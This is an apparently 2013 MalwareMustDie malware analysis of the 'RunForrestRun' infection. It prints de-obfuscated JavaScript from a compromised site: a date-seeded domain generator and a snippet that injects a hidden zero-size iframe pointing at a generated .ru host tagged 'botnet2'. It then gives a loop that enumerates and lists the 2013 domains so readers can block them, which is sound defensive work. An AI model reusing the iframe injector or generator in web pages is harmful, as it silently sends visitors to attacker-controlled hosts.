#MalwareMustDie - Infection PseudoDmn/DGA 2013 Jan 6th-8th

=========================================================
#MalwareMustDie - New Malware Infector "RunForrestRun"
w/Pseudorandom/DGA Generator logic was reported by MMD Crusader at:
https://twitter.com/it4sec/status/287912320938700802 (Thx to @it4sec)
Data Source http://pastebin.com/raw.php?i=v5mG0N7f

PLEASE HELP TO BLOCK ALL OF THE LIST OF DOMAINS .RU MENTIONED
IN THIS REPORT, THANK YOU.
=========================================================

// Source of infection:
www.jasonslog[.]com


// Be free to check the source of infection directly,
// De-0bfuscated code logic of Pseudorandom/DGA is:

function nextRandomNumber(){
  var hi = this .seed / this .Q;
  var lo = this .seed % this .Q;
  var test = this .A * lo - this .R * hi;
  if (test > 0){
    this .seed = test;
  }
  else {
    this .seed = test + this .M;
  }
  return (this .seed * this .oneOverM);
}
function RandomNumberGenerator(unix){
  var d = new Date(unix * 1000);
  var s = d.getHours() > 12 ? 1 : 0;
  this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.
  round(s * 0xFFF));
  this .A = 48271;
  this .M = 2147483647;
  this .Q = this .M / this .A;
  this .R = this .M % this .A;
  this .oneOverM = 1.0 / this .M;
  this .next = nextRandomNumber;
  return this ;
}
function createRandomNumber(r, Min, Max){
  return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone){
  var rand = new RandomNumberGenerator(unix);
  var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o'
  , 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  var str = '';
  for (var i = 0; i < length; i ++ ){
    str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  }
  return str + '.' + zone;
}


setTimeout(function (){
  try {
    if (typeof iframeWasCreated == "undefined"){
      iframeWasCreated = true;
      var unix = Math.round( + new Date() / 1000);
      var domainName = generatePseudoRandomString(unix, 16, 'ru');
      ifrm = document.createElement("IFRAME");
      ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
      ifrm.style.width = "0px";
      ifrm.style.height = "0px";
      ifrm.style.visibility = "hidden";
      document.body.appendChild(ifrm);
    }
  }
  catch (e){
  }
}
, 500);

==============================================

The guide to decode & check
PseudoRandom/DGA Manually

==============================================

// manual crack...
// erase the setTimeout(function () all of it, we don't need those mess..
// and replace with the below code...
// (make sure you include the rest of the functions..)
// The code :

var nextday = new Date();
nextday.setFullYear(2013);
for (var yyy=0;yyy<13;yyy++)
  { nextday.setMonth(yyy);
for (var xxx= 1;xxx<33;xxx++)
     {
      var unix = Math.round(nextday.setDate(xxx)/1000);
      var domainName = generatePseudoRandomString(unix, 16, 'ru');
      document.write(xxx+" | "+domainName+ "  |  "+nextday+"\n"); }}


// Just run it and you'll get the full 2013 years domains as per
// result:....

 1 | ndvgpxdugiihprox.ru  |  Tue Jan 01 2013 23:14:46 GMT+0900
 2 | yowoyitslewxwwrl.ru  |  Wed Jan 02 2013 23:14:46 GMT+0900
 3 | lcbfcpzjpyvoheuj.ru  |  Thu Jan 03 2013 23:14:46 GMT+0900
 4 | xocnrffrwjwryily.ru  |  Fri Jan 04 2013 23:14:46 GMT+0900
 5 | kcgbtgkouhxwzqce.ru  |  Sat Jan 05 2013 23:14:46 GMT+0900
 6 | wnhjjplenuudhoap.ru  |  Sun Jan 06 2013 23:14:46 GMT+0900
 7 | jbkxeiekxelpidpi.ru  |  Mon Jan 07 2013 23:14:46 GMT+0900
 8 | unlgvgkytqsxgyeg.ru  |  Tue Jan 08 2013 23:14:46 GMT+0900
 9 | hbpuvpfmvvkeindg.ru  |  Wed Jan 09 2013 23:14:46 GMT+0900
10 | tmqdnqhvpxyjeulp.ru  |  Thu Jan 10 2013 23:14:46 GMT+0900
11 | gatrxzmokglyvnqh.ru  |  Fri Jan 11 2013 23:14:46 GMT+0900
12 | smvydqivtigcadxb.ru  |  Sat Jan 12 2013 23:14:46 GMT+0900
13 | eaynpxerysnuockf.ru  |  Sun Jan 13 2013 23:14:46 GMT+0900
14 | qlaxqqoumynwpggc.ru  |  Mon Jan 14 2013 23:14:46 GMT+0900
15 | dzclmaypqcfzimrl.ru  |  Tue Jan 15 2013 23:14:46 GMT+0900
16 | plfuihelmdrrbbnc.ru  |  Wed Jan 16 2013 23:14:46 GMT+0900
17 | cygiwjakdyxlnvqv.ru  |  Thu Jan 17 2013 23:14:46 GMT+0900
18 | okjqzgzouwqonvup.ru  |  Fri Jan 18 2013 23:14:46 GMT+0900
19 | aylfqvekcpgkthkx.ru  |  Sat Jan 19 2013 23:14:46 GMT+0900
20 | mkonvslrwtualefq.ru  |  Sun Jan 20 2013 23:14:46 GMT+0900
21 | yvpvcmdbbglmhfyq.ru  |  Mon Jan 21 2013 23:14:46 GMT+0900
22 | lktkntxkekjhgwwv.ru  |  Tue Jan 22 2013 23:14:46 GMT+0900
23 | xvurtbyguyxavlcn.ru  |  Wed Jan 23 2013 23:14:46 GMT+0900
24 | kjxgftehmxneoqss.ru  |  Thu Jan 24 2013 23:14:46 GMT+0900
25 | vuyognsdxgigvymx.ru  |  Fri Jan 25 2013 23:14:46 GMT+0900
26 | ijdfiaskbhcdzbet.ru  |  Sat Jan 26 2013 23:14:46 GMT+0900
27 | uuenxhtegxrlrlyb.ru  |  Sun Jan 27 2013 23:14:46 GMT+0900
28 | hiibkbbmztddabuy.ru  |  Mon Jan 28 2013 23:14:46 GMT+0900
29 | tujjpspbhdwymxyj.ru  |  Tue Jan 29 2013 23:14:46 GMT+0900
30 | gimxkbdryudghncv.ru  |  Wed Jan 30 2013 23:14:46 GMT+0900
31 | rtngckpiugfrlepg.ru  |  Thu Jan 31 2013 23:14:46 GMT+0900
32 | pyfvmdoslhtmvswd.ru  |  Fri Feb 01 2013 23:14:46 GMT+0900
 1 | pyfvmdoslhtmvswd.ru  |  Fri Feb 01 2013 23:14:46 GMT+0900
 2 | cmijgbxvxstkgtpc.ru  |  Sat Feb 02 2013 23:14:46 GMT+0900
 3 | oyjreoljhwsvefpf.ru  |  Sun Feb 03 2013 23:14:46 GMT+0900
 4 | bmngykbjolpwcrqm.ru  |  Mon Feb 04 2013 23:14:46 GMT+0900
 5 | nxooqekbpedsmawo.ru  |  Tue Feb 05 2013 23:14:46 GMT+0900
 6 | zkrwmmqgrdtowhio.ru  |  Wed Feb 06 2013 23:14:46 GMT+0900
 7 | lxtlipbjujyfgbsi.ru  |  Thu Feb 07 2013 23:14:46 GMT+0900
 8 | xjwtedhbosmxzukq.ru  |  Fri Feb 08 2013 23:14:46 GMT+0900
 9 | kwxhkjhmyljgpaht.ru  |  Sat Feb 09 2013 23:14:46 GMT+0900
10 | wjbsqskiqjerkedk.ru  |  Sun Feb 10 2013 23:14:46 GMT+0900
11 | jwdgmvtytmdvomcx.ru  |  Mon Feb 11 2013 23:14:46 GMT+0900
12 | vigoiezowqupgdro.ru  |  Tue Feb 12 2013 23:14:46 GMT+0900
13 | hwhdoqbqjeohptnt.ru  |  Wed Feb 13 2013 23:14:46 GMT+0900
14 | tiklaegfpvkacpbp.ru  |  Thu Feb 14 2013 23:14:46 GMT+0900
15 | gvmyehmorxglkbwf.ru  |  Fri Feb 15 2013 23:14:46 GMT+0900
16 | shpimfzigcjpuwut.ru  |  Sat Feb 16 2013 23:14:46 GMT+0900
17 | fvrvghqnxmloqwlf.ru  |  Sun Feb 17 2013 23:14:46 GMT+0900
18 | rhueegmuvsvtxmhr.ru  |  Mon Feb 18 2013 23:14:46 GMT+0900
19 | duvriiiwjkojcvxy.ru  |  Tue Feb 19 2013 23:14:46 GMT+0900
20 | pgybverlbdkievuq.ru  |  Wed Feb 20 2013 23:14:46 GMT+0900
21 | cubqsdiosaatrumu.ru  |  Thu Feb 21 2013 23:14:46 GMT+0900
22 | ogeymkfreoucnkow.ru  |  Fri Feb 22 2013 23:14:46 GMT+0900
23 | btgnujocpdtvootd.ru  |  Sat Feb 23 2013 23:14:46 GMT+0900
24 | mgjvimybyhptmvyu.ru  |  Sun Feb 24 2013 23:14:46 GMT+0900
25 | yrkekvwkyphwfqde.ru  |  Mon Feb 25 2013 23:14:46 GMT+0900
26 | lfnsbfrekyjkihrs.ru  |  Tue Feb 26 2013 23:14:46 GMT+0900
27 | xqobchfrpmohjhoq.ru  |  Wed Feb 27 2013 23:14:46 GMT+0900
28 | kfsocxsybqazobiu.ru  |  Thu Feb 28 2013 23:14:46 GMT+0900
29 | svpjqbaclxdndjtm.ru  |  Fri Mar 01 2013 23:14:46 GMT+0900
30 | lbibpyapcfipsiaz.ru  |  Sat Mar 30 2013 23:14:46 GMT+0900
31 | xmjjpsraonwwzcdt.ru  |  Sun Mar 31 2013 23:14:46 GMT+0900
32 | vraxfhteqhofhyhv.ru  |  Mon Apr 01 2013 23:14:46 GMT+0900
 1 | svpjqbaclxdndjtm.ru  |  Fri Mar 01 2013 23:14:46 GMT+0900
 2 | fjswhrwpudtikgfc.ru  |  Sat Mar 02 2013 23:14:46 GMT+0900
 3 | ruufjlwxbqopskfv.ru  |  Sun Mar 03 2013 23:14:46 GMT+0900
 4 | eixtirbwzdgffsua.ru  |  Mon Mar 04 2013 23:14:46 GMT+0900
 5 | quycbctjycfxjvan.ru  |  Tue Mar 05 2013 23:14:46 GMT+0900
 6 | didrlygicxydgncq.ru  |  Wed Mar 06 2013 23:14:46 GMT+0900
 7 | oteanshtirscfyxl.ru  |  Thu Mar 07 2013 23:14:46 GMT+0900
 8 | bihoekmllavemdtr.ru  |  Fri Mar 08 2013 23:14:46 GMT+0900
 9 | ntiwdcaviwewvsoi.ru  |  Sat Mar 09 2013 23:14:46 GMT+0900
10 | zflfbyeelidlrxri.ru  |  Sun Mar 10 2013 23:14:46 GMT+0900
11 | msntureyhhtvljon.ru  |  Mon Mar 11 2013 23:14:46 GMT+0900
12 | xfqcmyxarlkovmxx.ru  |  Tue Mar 12 2013 23:14:46 GMT+0900
13 | ksspwrcadqjruaef.ru  |  Wed Mar 13 2013 23:14:46 GMT+0900
14 | wevydrkvywxqfsul.ru  |  Thu Mar 14 2013 23:14:46 GMT+0900
15 | jswmystbgbmyrhxb.ru  |  Fri Mar 15 2013 23:14:46 GMT+0900
16 | veawuvjuknycdovj.ru  |  Sat Mar 16 2013 23:14:46 GMT+0900
17 | irclcuylmvqrrkdx.ru  |  Sun Mar 17 2013 23:14:46 GMT+0900
18 | tdfthxmndyyekyky.ru  |  Mon Mar 18 2013 23:14:46 GMT+0900
19 | grhhdbgkxomiymle.ru  |  Tue Mar 19 2013 23:14:46 GMT+0900
20 | sdkqyhsxbdhcgwgf.ru  |  Wed Mar 20 2013 23:14:46 GMT+0900
21 | fqlevkdlveprxpzy.ru  |  Thu Mar 21 2013 23:14:46 GMT+0900
22 | rdomqhodxyumhllv.ru  |  Fri Mar 22 2013 23:14:46 GMT+0900
23 | eqqawkklmvkbowdi.ru  |  Sat Mar 23 2013 23:14:46 GMT+0900
24 | pctjjivhotnedeou.ru  |  Sun Mar 24 2013 23:14:46 GMT+0900
25 | cpuwwkidsdevvuqq.ru  |  Mon Mar 25 2013 23:14:46 GMT+0900
26 | ocxfurzvsdimgoho.ru  |  Tue Mar 26 2013 23:14:46 GMT+0900
27 | bpavzrxbeqgcudhg.ru  |  Wed Mar 27 2013 23:14:46 GMT+0900
28 | nbdenykbuveulccr.ru  |  Thu Mar 28 2013 23:14:46 GMT+0900
29 | znemwxtbrgiotghm.ru  |  Fri Mar 29 2013 23:14:46 GMT+0900
30 | lbibpyapcfipsiaz.ru  |  Sat Mar 30 2013 23:14:46 GMT+0900
31 | xmjjpsraonwwzcdt.ru  |  Sun Mar 31 2013 23:14:46 GMT+0900
32 | vraxfhteqhofhyhv.ru  |  Mon Apr 01 2013 23:14:46 GMT+0900
 1 | vraxfhteqhofhyhv.ru  |  Mon Apr 01 2013 23:14:46 GMT+0900
 2 | ifemluumiofcbxst.ru  |  Tue Apr 02 2013 23:14:46 GMT+0900
 3 | urfurrcmjfpijghf.ru  |  Wed Apr 03 2013 23:14:46 GMT+0900
 4 | hfijevjwcjlrxwjt.ru  |  Thu Apr 04 2013 23:14:46 GMT+0900
 5 | tqjqjdkykvduufwo.ru  |  Fri Apr 05 2013 23:14:46 GMT+0900
 6 | ffnffvrefkjuvygb.ru  |  Sat Apr 06 2013 23:14:46 GMT+0900
 7 | rqonvntrerlkebke.ru  |  Sun Apr 07 2013 23:14:46 GMT+0900
 8 | eeschobskudmnebe.ru  |  Mon Apr 08 2013 23:14:46 GMT+0900
 9 | qptkhgtytzzduhbd.ru  |  Tue Apr 09 2013 23:14:46 GMT+0900
10 | dewypbfxfmzqimta.ru  |  Wed Apr 10 2013 23:14:46 GMT+0900
11 | ppxhzopqbiykuucv.ru  |  Thu Apr 11 2013 23:14:46 GMT+0900
12 | bdcwjkbjvjsgvbcj.ru  |  Fri Apr 12 2013 23:14:46 GMT+0900
13 | nodfrfckjbvopqrq.ru  |  Sat Apr 13 2013 23:14:46 GMT+0900
14 | adgtltgobqfvwoqy.ru  |  Sun Apr 14 2013 23:14:46 GMT+0900
15 | moickvhdobjascpc.ru  |  Mon Apr 15 2013 23:14:46 GMT+0900
16 | yalkzsvudybexfgd.ru  |  Tue Apr 16 2013 23:14:46 GMT+0900
17 | lomxtgmgrswlgrrn.ru  |  Wed Apr 17 2013 23:14:46 GMT+0900
18 | wznglpyofxculgri.ru  |  Thu Apr 18 2013 23:14:46 GMT+0900
19 | jnrulvwmhqyqkijc.ru  |  Fri Apr 19 2013 23:14:46 GMT+0900
20 | vysdxauxtyfezxiw.ru  |  Sat Apr 20 2013 23:14:46 GMT+0900
21 | invrxhyvhormzpye.ru  |  Sun Apr 21 2013 23:14:46 GMT+0900
22 | uyxznqjldjndcjon.ru  |  Mon Apr 22 2013 23:14:46 GMT+0900
23 | gmbpqdcecxdnxzsk.ru  |  Tue Apr 23 2013 23:14:46 GMT+0900
24 | sycxgmdyuufpiqjs.ru  |  Wed Apr 24 2013 23:14:46 GMT+0900
25 | fmgmrercxuodsjdk.ru  |  Thu Apr 25 2013 23:14:46 GMT+0900
26 | rxhuxvaqydtntrps.ru  |  Fri Apr 26 2013 23:14:46 GMT+0900
27 | elkjuyzgcwbwvkyf.ru  |  Sat Apr 27 2013 23:14:46 GMT+0900
28 | qxlqkicgvbmxqfme.ru  |  Sun Apr 28 2013 23:14:46 GMT+0900
29 | clpfeuzumsugolgs.ru  |  Mon Apr 29 2013 23:14:46 GMT+0900
30 | owqncxwwhipgltpv.ru  |  Tue Apr 30 2013 23:14:46 GMT+0900
31 | yoklehrcxrhcykqg.ru  |  Wed May 01 2013 23:14:46 GMT+0900
32 | cmvecwckuongascy.ru  |  Sat Jun 01 2013 23:14:46 GMT+0900
 1 | yoklehrcxrhcykqg.ru  |  Wed May 01 2013 23:14:46 GMT+0900
 2 | lcoztxjirbamyohq.ru  |  Thu May 02 2013 23:14:46 GMT+0900
 3 | xnpivpntljbckedj.ru  |  Fri May 03 2013 23:14:46 GMT+0900
 4 | kbtvvpsoriktoywb.ru  |  Sat May 04 2013 23:14:46 GMT+0900
 5 | wnuengkwenfwxusw.ru  |  Sun May 05 2013 23:14:46 GMT+0900
 6 | ibxsxiwekgbsbylm.ru  |  Mon May 06 2013 23:14:46 GMT+0900
 7 | umybgqamfzktopdj.ru  |  Tue May 07 2013 23:14:46 GMT+0900
 8 | hbdrbmvwqxmptcnf.ru  |  Wed May 08 2013 23:14:46 GMT+0900
 9 | tmezqwypxunkjluo.ru  |  Thu May 09 2013 23:14:46 GMT+0900
10 | gahnspmmptcmrhpb.ru  |  Fri May 10 2013 23:14:46 GMT+0900
11 | rljvirwdbdwrfvjg.ru  |  Sat May 11 2013 23:14:46 GMT+0900
12 | ezkkokibcftwdwkw.ru  |  Sun May 12 2013 23:14:46 GMT+0900
13 | qlnsuhwpcaviojje.ru  |  Mon May 13 2013 23:14:46 GMT+0900
14 | dypgqlgskoolefqg.ru  |  Tue May 14 2013 23:14:46 GMT+0900
15 | plspmidlpvhtqcvs.ru  |  Wed May 15 2013 23:14:46 GMT+0900
16 | cytdjwetwnemdxtp.ru  |  Thu May 16 2013 23:14:46 GMT+0900
17 | nkwlesygkrdkutne.ru  |  Fri May 17 2013 23:14:46 GMT+0900
18 | axyzbcftpfoytsts.ru  |  Sat May 18 2013 23:14:46 GMT+0900
19 | mkckqyffyzqxjqqv.ru  |  Sun May 19 2013 23:14:46 GMT+0900
20 | yvdsgibtgzlwulru.ru  |  Mon May 20 2013 23:14:46 GMT+0900
21 | ljhgiavehojpkcrw.ru  |  Tue May 21 2013 23:14:46 GMT+0900
22 | xvioyrvnlmgkccqb.ru  |  Wed May 22 2013 23:14:46 GMT+0900
23 | jjldubftvkeeiktq.ru  |  Thu May 23 2013 23:14:46 GMT+0900
24 | vumlkkgrzomnmkvy.ru  |  Fri May 24 2013 23:14:46 GMT+0900
25 | iiqzkkvjenxstqbm.ru  |  Sat May 25 2013 23:14:46 GMT+0900
26 | uuridusvsuoowpvr.ru  |  Sun May 26 2013 23:14:46 GMT+0900
27 | hivvmltkopuhfane.ru  |  Mon May 27 2013 23:14:46 GMT+0900
28 | ttweudkoqwimkfvt.ru  |  Tue May 28 2013 23:14:46 GMT+0900
29 | fhaufrwkkpugrisz.ru  |  Wed May 29 2013 23:14:46 GMT+0900
30 | rtbdhbpwgatjfoqp.ru  |  Thu May 30 2013 23:14:46 GMT+0900
31 | ehfrhcojkjhatimj.ru  |  Fri May 31 2013 23:14:46 GMT+0900
32 | cmvecwckuongascy.ru  |  Sat Jun 01 2013 23:14:46 GMT+0900
 1 | cmvecwckuongascy.ru  |  Sat Jun 01 2013 23:14:46 GMT+0900
 2 | oxwmjyewrnttdsgv.ru  |  Sun Jun 02 2013 23:14:46 GMT+0900
 3 | bmbdvmorskhflxgg.ru  |  Mon Jun 03 2013 23:14:46 GMT+0900
 4 | nxclvuimdldnwdmx.ru  |  Tue Jun 04 2013 23:14:46 GMT+0900
 5 | yjftqsegsseudior.ru  |  Wed Jun 05 2013 23:14:46 GMT+0900
 6 | lwghdpfowfyulpse.ru  |  Thu Jun 06 2013 23:14:46 GMT+0900
 7 | xjkqjtbkiblgoemz.ru  |  Fri Jun 07 2013 23:14:46 GMT+0900
 8 | kwlefwlcclsjavfk.ru  |  Sat Jun 08 2013 23:14:46 GMT+0900
 9 | wiombejwxrddpkkx.ru  |  Sun Jun 09 2013 23:14:46 GMT+0900
10 | jwqbrhwarzjrglbn.ru  |  Mon Jun 10 2013 23:14:46 GMT+0900
11 | uitjsdpvrfgfdhff.ru  |  Tue Jun 11 2013 23:14:46 GMT+0900
12 | hvuwhwqtoyidfrjg.ru  |  Wed Jun 12 2013 23:14:46 GMT+0900
13 | thxgfffpsvjdxcal.ru  |  Thu Jun 13 2013 23:14:46 GMT+0900
14 | gvztjrlasdnlbiei.ru  |  Fri Jun 14 2013 23:14:46 GMT+0900
15 | shderldqiqdtdcmu.ru  |  Sat Jun 15 2013 23:14:46 GMT+0900
16 | fufsbovwfzjumtle.ru  |  Sun Jun 16 2013 23:14:46 GMT+0900
17 | qhibjmjlnpyovmbn.ru  |  Mon Jun 17 2013 23:14:46 GMT+0900
18 | dujovshpvbxgrikw.ru  |  Tue Jun 18 2013 23:14:46 GMT+0900
19 | pgmxykzlqomziebp.ru  |  Wed Jun 19 2013 23:14:46 GMT+0900
20 | ctolfpcqldrvxvml.ru  |  Thu Jun 20 2013 23:14:46 GMT+0900
21 | ogrtlmpkqtwmweff.ru  |  Fri Jun 21 2013 23:14:46 GMT+0900
22 | atsihkcljrqlzvku.ru  |  Sat Jun 22 2013 23:14:46 GMT+0900
23 | mfwqdxgdpwiojrjp.ru  |  Sun Jun 23 2013 23:14:46 GMT+0900
24 | yrxysfyekjfooere.ru  |  Mon Jun 24 2013 23:14:46 GMT+0900
25 | lfbovcaitdrjmkbe.ru  |  Tue Jun 25 2013 23:14:46 GMT+0900
26 | xqcwfwfphwoieuny.ru  |  Wed Jun 26 2013 23:14:46 GMT+0900
27 | keglxucgvwhqttmi.ru  |  Thu Jun 27 2013 23:14:46 GMT+0900
28 | vqhtwlshzzqsltcp.ru  |  Fri Jun 28 2013 23:14:46 GMT+0900
29 | iekiyvsbtyozmmwy.ru  |  Sat Jun 29 2013 23:14:46 GMT+0900
30 | upmqpwyndzwzmmwy.ru  |  Sun Jun 30 2013 23:14:46 GMT+0900
31 | fjgtmicxtlxynlpf.ru  |  Mon Jul 01 2013 23:14:46 GMT+0900
32 | ifrhgnqeeotnzrmz.ru  |  Thu Aug 01 2013 23:14:46 GMT+0900
 1 | fjgtmicxtlxynlpf.ru  |  Mon Jul 01 2013 23:14:46 GMT+0900
 2 | ruhctasjmpqbyvhm.ru  |  Tue Jul 02 2013 23:14:46 GMT+0900
 3 | eilqnjkoytyjuchn.ru  |  Wed Jul 03 2013 23:14:46 GMT+0900
 4 | qtmyeslmsoxkjbku.ru  |  Thu Jul 04 2013 23:14:46 GMT+0900
 5 | ciqmhuwgvfsxdtrw.ru  |  Fri Jul 05 2013 23:14:46 GMT+0900
 6 | otruvbidvikzhlop.ru  |  Sat Jul 06 2013 23:14:46 GMT+0900
 7 | bhujzorkulhkpwob.ru  |  Sun Jul 07 2013 23:14:46 GMT+0900
 8 | ntvrnrdpyoadopbo.ru  |  Mon Jul 08 2013 23:14:46 GMT+0900
 9 | zfyafrjmmajqfvbh.ru  |  Tue Jul 09 2013 23:14:46 GMT+0900
10 | lsbppxhgckolsnap.ru  |  Wed Jul 10 2013 23:14:46 GMT+0900
11 | xeeypppxswpquvrf.ru  |  Thu Jul 11 2013 23:14:46 GMT+0900
12 | ksgmckchdppqeicu.ru  |  Fri Jul 12 2013 23:14:46 GMT+0900
13 | wejungvnykczyjam.ru  |  Sat Jul 13 2013 23:14:46 GMT+0900
14 | jrkjelzwleadyxsd.ru  |  Sun Jul 14 2013 23:14:46 GMT+0900
15 | venrfhmthwpqlqge.ru  |  Mon Jul 15 2013 23:14:46 GMT+0900
16 | hrpgglxvqwjesffr.ru  |  Tue Jul 16 2013 23:14:46 GMT+0900
17 | tdsorylshsxjeawf.ru  |  Wed Jul 17 2013 23:14:46 GMT+0900
18 | gqtcxunxhyujqjkf.ru  |  Thu Jul 18 2013 23:14:46 GMT+0900
19 | sdxkjaophbtufumx.ru  |  Fri Jul 19 2013 23:14:46 GMT+0900
20 | fqyyxagzkrpvxtki.ru  |  Sat Jul 20 2013 23:14:46 GMT+0900
21 | rccjvgsgffokiwze.ru  |  Sun Jul 21 2013 23:14:46 GMT+0900
22 | dpewaddpoewiycnj.ru  |  Mon Jul 22 2013 23:14:46 GMT+0900
23 | pchgijctfprxhnje.ru  |  Tue Jul 23 2013 23:14:46 GMT+0900
24 | cpittmwbqtjrjpql.ru  |  Wed Jul 24 2013 23:14:46 GMT+0900
25 | oblcasnhxbbocpfj.ru  |  Thu Jul 25 2013 23:14:46 GMT+0900
26 | bpnqmxkpxxgbdnby.ru  |  Fri Jul 26 2013 23:14:46 GMT+0900
27 | nbqypqrjiqxlfvdj.ru  |  Sat Jul 27 2013 23:14:46 GMT+0900
28 | ymrhcvphevonympo.ru  |  Sun Jul 28 2013 23:14:46 GMT+0900
29 | lavvckpordclbduy.ru  |  Mon Jul 29 2013 23:14:46 GMT+0900
30 | xmwettbvtbhvrjuo.ru  |  Tue Jul 30 2013 23:14:46 GMT+0900
31 | kzxrowftdocgyghs.ru  |  Wed Jul 31 2013 23:14:46 GMT+0900
32 | ifrhgnqeeotnzrmz.ru  |  Thu Aug 01 2013 23:14:46 GMT+0900
 1 | ifrhgnqeeotnzrmz.ru  |  Thu Aug 01 2013 23:14:46 GMT+0900
 2 | uqspvdwyltgcyhft.ru  |  Fri Aug 02 2013 23:14:46 GMT+0900
 3 | hfveiooumeyrpchg.ru  |  Sat Aug 03 2013 23:14:46 GMT+0900
 4 | sqwlonyduvpowdgy.ru  |  Sun Aug 04 2013 23:14:46 GMT+0900
 5 | febcbuyswmishvpl.ru  |  Mon Aug 05 2013 23:14:46 GMT+0900
 6 | rpckbgrziwbdrmhr.ru  |  Tue Aug 06 2013 23:14:46 GMT+0900
 7 | eefysywrvkgxuqdf.ru  |  Wed Aug 07 2013 23:14:46 GMT+0900
 8 | qphhsudsmeftdaht.ru  |  Thu Aug 08 2013 23:14:46 GMT+0900
 9 | ddkudnuklgiwtdyw.ru  |  Fri Aug 09 2013 23:14:46 GMT+0900
10 | opldkflyvlkywuec.ru  |  Sat Aug 10 2013 23:14:46 GMT+0900
11 | bdprvpxdejpohqpt.ru  |  Sun Aug 11 2013 23:14:46 GMT+0900
12 | noqzuukouyfuyrmd.ru  |  Mon Aug 12 2013 23:14:46 GMT+0900
13 | zatiscwwtipqlycd.ru  |  Tue Aug 13 2013 23:14:46 GMT+0900
14 | mouwwvcwwlilnxub.ru  |  Wed Aug 14 2013 23:14:46 GMT+0900
15 | yayfefhrwawquwcw.ru  |  Thu Aug 15 2013 23:14:46 GMT+0900
16 | knauycqgsdhgbwjo.ru  |  Fri Aug 16 2013 23:14:46 GMT+0900
17 | wzbdwenwshfzglwt.ru  |  Sat Aug 17 2013 23:14:46 GMT+0900
18 | jnfrqmekhoevppvw.ru  |  Sun Aug 18 2013 23:14:46 GMT+0900
19 | vygzhvfiuommkqfj.ru  |  Mon Aug 19 2013 23:14:46 GMT+0900
20 | imjosxuhbcdonrco.ru  |  Tue Aug 20 2013 23:14:46 GMT+0900
21 | tykvyflnjhbnqpnr.ru  |  Wed Aug 21 2013 23:14:46 GMT+0900
22 | gmokuosvnbkshdtd.ru  |  Thu Aug 22 2013 23:14:46 GMT+0900
23 | sxpskxdgoczvcjgp.ru  |  Fri Aug 23 2013 23:14:46 GMT+0900
24 | flthmyjeuhdygshf.ru  |  Sat Aug 24 2013 23:14:46 GMT+0900
25 | rxupwhkznihnxzqx.ru  |  Sun Aug 25 2013 23:14:46 GMT+0900
26 | elxegvkalqvkyoxc.ru  |  Mon Aug 26 2013 23:14:46 GMT+0900
27 | pwyloytoagndnrex.ru  |  Tue Aug 27 2013 23:14:46 GMT+0900
28 | cldcrgtnuwvgnbfd.ru  |  Wed Aug 28 2013 23:14:46 GMT+0900
29 | owekhoeuhmdiehrw.ru  |  Thu Aug 29 2013 23:14:46 GMT+0900
30 | bkhyiqitpoxewhmt.ru  |  Fri Aug 30 2013 23:14:46 GMT+0900
31 | nvjgyermzsmynaeq.ru  |  Sat Aug 31 2013 23:14:46 GMT+0900
32 | lccwpflcdjrdfjib.ru  |  Sun Sep 01 2013 23:14:46 GMT+0900
 1 | lccwpflcdjrdfjib.ru  |  Sun Sep 01 2013 23:14:46 GMT+0900
 2 | xndfbivuonkxfxrq.ru  |  Mon Sep 02 2013 23:14:46 GMT+0900
 3 | kbgsbqjugdqrgtdw.ru  |  Tue Sep 03 2013 23:14:46 GMT+0900
 4 | vmibswhnpqhqwyih.ru  |  Wed Sep 04 2013 23:14:46 GMT+0900
 5 | iblpdiqdmmsbnuxb.ru  |  Thu Sep 05 2013 23:14:46 GMT+0900
 6 | ummxjwieppswcnrg.ru  |  Fri Sep 06 2013 23:14:46 GMT+0900
 7 | haqmuqqukywrcxfa.ru  |  Sat Sep 07 2013 23:14:46 GMT+0900
 8 | tmrtbcienxrbnsjc.ru  |  Sun Sep 08 2013 23:14:46 GMT+0900
 9 | fzsirujgdbvabrjm.ru  |  Mon Sep 09 2013 23:14:46 GMT+0900
10 | rlvqmipovrqbmvqd.ru  |  Tue Sep 10 2013 23:14:46 GMT+0900
11 | eyxejlabqaytqmjx.ru  |  Wed Sep 11 2013 23:14:46 GMT+0900
12 | qlbpfyrupyadvjsl.ru  |  Thu Sep 12 2013 23:14:46 GMT+0900
13 | dydderasilekaegh.ru  |  Fri Sep 13 2013 23:14:46 GMT+0900
14 | pkglwwwmjxokzzfq.ru  |  Sat Sep 14 2013 23:14:46 GMT+0900
15 | bxhzugppnulxghvm.ru  |  Sun Sep 15 2013 23:14:46 GMT+0900
16 | nkkijjyioljbfysn.ru  |  Mon Sep 16 2013 23:14:46 GMT+0900
17 | axmvnmubgwlmqfrp.ru  |  Tue Sep 17 2013 23:14:46 GMT+0900
18 | mjpflkwqskuqbjnk.ru  |  Wed Sep 18 2013 23:14:46 GMT+0900
19 | yvqnltydqtpresfu.ru  |  Thu Sep 19 2013 23:14:46 GMT+0900
20 | ljubdldgqwbarplc.ru  |  Fri Sep 20 2013 23:14:46 GMT+0900
21 | wuvjdexaqtmqkvgk.ru  |  Sat Sep 21 2013 23:14:46 GMT+0900
22 | jiyxdlvawkranmin.ru  |  Sun Sep 22 2013 23:14:46 GMT+0900
23 | vuaivypissryzhij.ru  |  Mon Sep 23 2013 23:14:46 GMT+0900
24 | iiewprjomieydnix.ru  |  Tue Sep 24 2013 23:14:46 GMT+0900
25 | utfenjxpvwtroioi.ru  |  Wed Sep 25 2013 23:14:46 GMT+0900
26 | hhishrpjdixwtctz.ru  |  Thu Sep 26 2013 23:14:46 GMT+0900
27 | stkbtccbckhdkbii.ru  |  Fri Sep 27 2013 23:14:46 GMT+0900
28 | fhnpjsnknkuvhazm.ru  |  Sat Sep 28 2013 23:14:46 GMT+0900
29 | rsoxjlibxohdcyov.ru  |  Sun Sep 29 2013 23:14:46 GMT+0900
30 | ehsmldxnregnruez.ru  |  Mon Sep 30 2013 23:14:46 GMT+0900
31 | oxkjnvhjnvnegtyb.ru  |  Tue Oct 01 2013 23:14:46 GMT+0900
32 | ruuwvqkxejhklhjy.ru  |  Fri Nov 01 2013 23:14:46 GMT+0900
